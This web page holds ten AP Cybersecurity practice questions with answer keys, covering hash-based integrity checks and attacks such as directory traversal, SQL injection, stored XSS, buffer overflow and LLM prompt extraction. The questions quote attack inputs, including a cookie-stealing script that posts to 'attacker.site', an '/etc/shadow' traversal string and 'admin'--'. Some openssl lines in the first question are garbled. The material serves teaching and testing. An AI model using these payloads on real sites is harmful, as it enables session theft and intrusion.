Skip to main content

AP Cybersecurity Unit 5 practice questions

Try 10 multiple-choice questions from Unit 5 here. Pick an answer to see why it's right or wrong, then take the timed test above for a full AP-style set.

  1. Question 1

    === Meridian Data Archive Project — Encryption Verification Log === Operator: jfoster Date: 2025-03-14 Time: 09:42:17 UTC Host: archivesvr01.meridian.internal

    --- Step 1: Hash plaintext files BEFORE encryption ---

    $ sha256sum quarterly_report_Q1.csv budget_forecast.xlsx employee_records.db config_backup.conf 1 a3f9c2d1e847b506f3a1cc29d04e7b8f2a6d5c3e1b9f0a7d2c4e6b8f1a3d5c7 quarterly_report_Q1.csv 2 7b2e4f6a8c0d1e3f5a7b9c2d4e6f8a0b1c3d5e7f9a2b4c6d8e0f1a3b5c7d9e2 budget_forecast.xlsx 3 c4d7e1f2a3b5c6d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d employee_records.db 4 0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1 config_backup.conf

    --- Step 2: Encrypt files using OpenSSL AES-128-CBC ---

    opensslenc−aes−128−cbc−e−inquarterlyreportQ1.csv−kMrd!4rch2025−outquarterlyreportQ1.csv.encopenssl enc -aes-128-cbc -e -in quarterly_report_Q1.csv -k Mrd!4rch2025 -out quarterly_report_Q1.csv.enc openssl enc -aes-128-cbc -e -in budget_forecast.xlsx -k Mrd!4rch2025 -out budget_forecast.xlsx.enc opensslenc−aes−256−cbc−e−inemployeerecords.db−kMrd!4rch2025−outemployeerecords.db.encopenssl enc -aes-256-cbc -e -in employee_records.db -k Mrd!4rch2025 -out employee_records.db.enc openssl enc -aes-128-cbc -e -in config_backup.conf -k Mrd!4rch2025 -out config_backup.conf.enc

    --- Step 3: Decrypt files and hash to verify integrity ---

    opensslenc−aes−128−cbc−d−inquarterlyreportQ1.csv.enc−kMrd!4rch2025−outquarterlyreportQ1.decopenssl enc -aes-128-cbc -d -in quarterly_report_Q1.csv.enc -k Mrd!4rch2025 -out quarterly_report_Q1.dec openssl enc -aes-128-cbc -d -in budget_forecast.xlsx.enc -k Mrd!4rch2025 -out budget_forecast.dec opensslenc−aes−256−cbc−d−inemployeerecords.db.enc−kMrd!4rch2025−outemployeerecords.decopenssl enc -aes-256-cbc -d -in employee_records.db.enc -k Mrd!4rch2025 -out employee_records.dec openssl enc -aes-128-cbc -d -in config_backup.conf.enc -k Mrd!4rch2025 -out config_backup.dec

    $ sha256sum quarterly_report_Q1.dec budget_forecast.dec employee_records.dec config_backup.dec 5 a3f9c2d1e847b506f3a1cc29d04e7b8f2a6d5c3e1b9f0a7d2c4e6b8f1a3d5c7 quarterly_report_Q1.dec 6 7b2e4f6a8c0d1e3f5a7b9c2d4e6f8a0b1c3d5e7f9a2b4c6d8e0f1a3b5c7d9e2 budget_forecast.dec 7 99a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1 employee_records.dec 8 0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1 config_backup.dec

    --- Step 4: Integrity Comparison Summary ---

    File Pre-Encrypt Hash Match? Notes quarterly_report_Q1.csv YES AES-128-CBC budget_forecast.xlsx YES AES-128-CBC employee_records.db NO <-- MISMATCH Encrypted with AES-256-CBC; decrypted with AES-256-CBC config_backup.conf YES AES-128-CBC

    [WARNING] Hash mismatch detected for employee_records.db. Pre-encryption hash : c4d7e1f2a3b5c6d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d Post-decryption hash: 99a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1 Investigate possible key or algorithm inconsistency before archiving.

    === End of Log ===

    Based on the verification log, what specific risk is mitigated by executing the sha256sum commands in Step 1 and Step 3?

    Silent data corruption or unauthorized modification occurring during the storage cycle.

    Unauthorized entities intercepting plaintext files during the encryption process.

    Cryptographic keys being exposed or compromised during the archiving procedure.

    The encryption algorithm failing to adequately randomize the output ciphertext blocks.

    Show answer

    Answer: (A)

    Cryptographic hashing (SHA-256) is an integrity control. By generating a hash before encryption and comparing it to a hash generated after decryption, the operator can verify that the data has not been altered, corrupted, or truncated during the process. Confidentiality and key protection require different controls.

  2. Question 2

    A security analyst hashes a critical configuration file on Monday and records the digest a3f8c2.... On Friday, she hashes the same file again and gets a3f8c2.... What does this result indicate about the file?

    The file was not altered between Monday and Friday because both hash digests are identical

    The file was not altered, but an attacker may have viewed its contents without detection

    The file was altered between Monday and Friday but the hash algorithm failed to detect the change

    The file was encrypted between Monday and Friday, which preserved the original hash value

    Show answer

    Answer: (A)

    Recognizing that cryptographic hash functions are deterministic: the same input always produces the same output. Because both digests match exactly, the file's contents did not change between the two hash operations, confirming its integrity.

  3. Question 3

    A systems administrator runs sha256sum payroll.db on a Linux server immediately after a suspected intrusion and gets a digest that differs from the digest recorded two weeks earlier. Which conclusion is best supported by this evidence?

    The file payroll.db was modified after the earlier hash was recorded and before the current hash was generated

    The file payroll.db was copied to another location after the earlier hash was recorded and before the current hash was generated

    The SHA256 algorithm produced a collision, generating two different digests for the same file contents

    The file payroll.db was viewed by an unauthorized user after the earlier hash was recorded and before the current hash was generated

    Show answer

    Answer: (A)

    Applying the core property of hash functions: a changed digest means the input changed. Because the two SHA256 outputs differ, the file's contents were altered at some point between the two hash operations, which aligns with the suspected intrusion timeline.

  4. Question 4

    A security team wants to verify the integrity of a sensitive database file on a Windows server using built-in tools. A team member opens Windows PowerShell and types Get-FileHash database.db -Algorithm SHA256. The output digest matches the digest recorded before a maintenance window. Which layered security conclusion does this verification support?

    Hash verification confirms the file was not altered during the maintenance window, adding an integrity check layer alongside access controls

    Hash verification confirms no unauthorized user accessed the file during the maintenance window, replacing the need for access control logs

    Hash verification confirms the file was not altered during the maintenance window, eliminating the need for any additional detective controls

    Hash verification confirms the file was encrypted correctly during the maintenance window, adding a confidentiality layer alongside access controls

    Show answer

    Answer: (A)

    Running Get-FileHash and comparing digests is the correct Windows PowerShell method for SHA256 hash verification. A matching digest confirms the file's contents are unchanged, and using this check alongside access controls (such as permissions and logging) exemplifies layered security by adding a detective integrity layer to existing preventive controls.

  5. Question 5

    A security engineer is designing a layered detection strategy for a financial institution's most sensitive data files. She proposes hashing each file weekly and comparing digests to detect tampering, but her manager notes a significant gap in this approach. Which scenario would the hash-based control fail to detect, and what additional control would best address that gap?

    An attacker who copies sensitive files without modifying them; adding accounting logs that record file access events would address this gap

    An attacker who modifies sensitive files by altering their content; adding version control systems that track all file modifications would address this gap

    An attacker who copies sensitive files without modifying them; adding encryption at rest that prevents unauthorized file access would address this gap

    An attacker who copies sensitive files without modifying them; adding checksums that verify file integrity after each access would address this gap

    Show answer

    Answer: (A)

    Cryptographic hashes only detect changes to file contents. An adversary who reads or copies a file without altering it leaves the digest unchanged, creating a false negative. Accounting logs that record who accessed which files and when would detect this data theft scenario, layering a complementary detective control over the hash-based integrity check.

  6. Question 6

    A security analyst reviewing server logs notices repeated HTTP GET requests containing the string ../../../etc/shadow in the URL path. Which attack technique do these log entries indicate, and what is the adversary attempting to accomplish?

    Directory traversal, navigating outside the web root to access sensitive system credential files on the server

    SQL injection, embedding database commands into HTTP requests to extract credential records from a backend database

    Buffer overflow, sending oversized GET requests to overwrite adjacent server memory and execute unauthorized code

    Reflected cross site scripting, injecting malicious scripts into GET request parameters that execute in visiting users' browsers

    Show answer

    Answer: (A)

    Recognizing the .. sequences in a URL as directory traversal indicators connects the log evidence to the attack. Each .. moves one directory level up the filesystem, and three consecutive .. sequences walk from the web directory to the root, where the adversary targets the shadow file containing hashed system passwords—a confidentiality breach.

  7. Question 7

    An intrusion detection system flags a login form submission where the username field contains the value admin'--. A security analyst must explain what vulnerability this input exploits and what the adversary gains if the attack succeeds.

    Unvalidated input enables SQL injection, allowing the adversary to bypass authentication and access the database without valid credentials

    Unvalidated input enables a buffer overflow, allowing the adversary to overwrite adjacent memory and execute arbitrary code on the server

    Unvalidated input enables stored cross site scripting, allowing the adversary to inject persistent malicious scripts affecting all future visitors

    Unvalidated input enables directory traversal, allowing the adversary to navigate the server filesystem and retrieve sensitive configuration files

    Show answer

    Answer: (A)

    Connecting the single quote and double-dash characters to SQL syntax reveals the attack: the quote closes the username string in the query, and -- comments out the password check, making the condition always true. This exploits the application's failure to validate or sanitize input before passing it to the database, granting unauthorized access—a confidentiality breach.

  8. Question 8

    A security team monitoring a popular forum discovers that a post in the help section contains the text <script>document.location='https://attacker.site/?c='+document.cookie</script>. Every user who views that forum thread has their session data silently sent to an external server. Which attack type does this represent, and why does it affect multiple victims rather than just one?

    Type II stored cross site scripting, because the malicious script is saved on the server and executes in every visitor's browser when they load the page

    Type I reflected cross site scripting, because the malicious script is embedded in a crafted link sent individually to each targeted victim

    SQL injection, because the script tag syntax manipulates the forum's database query to return session data for all registered users

    Directory traversal, because the script navigates the server's file structure to collect and transmit session files stored on the server

    Show answer

    Answer: (A)

    Identifying the script as persistent content saved in a forum post distinguishes this from a link-based attack. Because the malicious JavaScript is stored on the server inside the forum thread, every user whose browser renders that page automatically executes the script, sending their session cookies to the attacker—a confidentiality breach affecting all visitors, not just one targeted individual.

  9. Question 9

    A developer is testing a legacy network application and discovers that entering a string of 500 characters into a field designed to accept a 50-character username causes the application to crash and briefly execute a function that was never called during normal operation. Which vulnerability does this behavior reveal, and what is the most serious potential consequence beyond a system crash?

    Buffer overflow, where excess input overwrites adjacent memory and can allow an adversary to execute unauthorized code on the system

    SQL injection, where excess input embeds database commands that cause the application to query and expose unintended backend records

    Directory traversal, where excess input navigates the filesystem and causes the application to open and execute restricted server files

    Reflected cross site scripting, where excess input injects scripts that run in other users' browsers and expose their stored credentials

    Show answer

    Answer: (A)

    Recognizing that input far exceeding the allocated buffer size causes memory corruption identifies the buffer overflow vulnerability. When the 500-character input overflows the 50-character buffer, it overwrites adjacent memory locations—including function pointers—which explains why an unintended function executes. An adversary who crafts this overflow deliberately can inject and run their own code, gaining unauthorized control of the system beyond simply crashing it.

  10. Question 10

    A cybersecurity team discovers that an adversary crafted specific prompts to extract confidential customer records from a company's internally deployed large language model (LLM) chatbot. The sensitive data had entered the LLM because employees routinely pasted customer information into the tool. Which monitoring practice would best detect this type of prompt-based extraction attack in progress?

    Logging all LLM input prompts and output responses, then alerting when outputs contain patterns matching sensitive data formats such as account numbers or personal identifiers

    Blocking all user access to the LLM chatbot after business hours, since prompt-based extraction attacks are exclusively conducted outside normal working hours

    Monitoring network traffic volume between the LLM server and external endpoints, flagging any session that transfers more than 10 megabytes of data

    Requiring employees to change their LLM login passwords monthly, since credential theft is the primary method adversaries use to access LLM systems for data extraction

    Show answer

    Answer: (A)

    Monitoring the LLM's input-output logs for sensitive data patterns—such as account numbers, Social Security numbers, or personal identifiers appearing in responses—creates a detection layer that flags when crafted prompts successfully extract confidential information, enabling the team to intervene before data is exfiltrated.

What's on the AP Cybersecurity Unit 5 practice test

The standard version takes about 27 minutes and follows the timing and directions of the AP exam, sized to one unit:

  • 20 Multiple Choice Questions (27 minutes)

Questions are drawn from 605 multiple-choice questions written for Unit 5, Securing Applications and Data.

Review Unit 5 before you start

Other AP Cybersecurity unit tests